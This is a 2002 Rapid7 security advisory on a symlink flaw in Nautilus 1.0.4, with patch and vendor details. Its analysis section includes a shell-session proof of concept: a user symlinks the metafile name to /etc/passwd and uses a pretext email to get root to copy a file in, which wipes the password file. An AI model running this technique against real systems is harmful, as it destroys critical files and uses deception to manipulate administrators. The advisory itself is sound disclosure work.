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Rapid7 Advisory R7-0003: Nautilus Symlink Vulnerability

CVE ID: CAN-2002-0157
Bugtraq ID: 4373

Summary

May 2, 2002 - Nautilus is a graphical shell for GNOME. It contains a vulnerability which would allow a malicious user to mount a symlink attack to overwrite another user's files.

Affected system(s):

KNOWN VULNERABLE:

  • Nautilus 1.0.4

Apparently NOT VULNERABLE:

Detailed Analysis

When copying files from one directory to another, Nautilus creates a small (88+ bytes) XML file called '.nautilus-metafile.xml' in the target directory. It does not check if a symlink with the same name already exists there, and blindly writes XML data to it. The following example shows how to cause a system-wide denial of service attack with this vulnerability:

[jdog@imisshogs jdog]$ pwd
/home/jdog
[jdog@imisshogs jdog]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...snip...]
jdog:x:500:500::/home/jdog:/bin/bash
[jdog@imisshogs jdog]$ ln -s /etc/passwd .nautilus-metafile.xml
[jdog@imisshogs jdog]$ mail root
Subject: Yo.
Could you please copy "creepy-in-new-york.doc" to my home directory
(/home/jdog)? Thanks.

- Joe
Cc:
[jdog@imisshogs jdog]$ sleep 86400
[jdog@imisshogs jdog]$ ls -l *.doc
-rw-r--r-- 1 root root 13 Mar 24 18:09 creepy-in-new-york.doc
[jdog@imisshogs jdog]$ cat /etc/passwd

[jdog@imisshogs jdog]$

Solution

Upgrade to the latest version of Nautilus, available at http://cvs.gnome.org/lxr/source/nautilus/, or apply the appropriate patch:

RedHat 7.2:

SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/nautilus-1.0.4-46.src.rpm

i386:
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-devel-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-mozilla-1.0.4-46.i386.rpm

ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-1.0.4-46.ia64.rpm
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-devel-1.0.4-46.ia64.rpm

Slackware:
ftp://ftp.slackware.com/pub/slackware/slackware-8.0/patches/

Vendor Info

Nautilus
Eazel, Inc.
http://nautilus.eazel.com/

The Nautilus team was notified on 03/26/2002.

Disclaimer and Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2002 Rapid7, LLC. Permission is hereby granted to redistribute this advisory in electronic media only, providing that no changes are made and that the copyright notices and disclaimers remain intact. This advisory may not be printed or distributed in non-electronic media without the express written permission of Rapid7, LLC.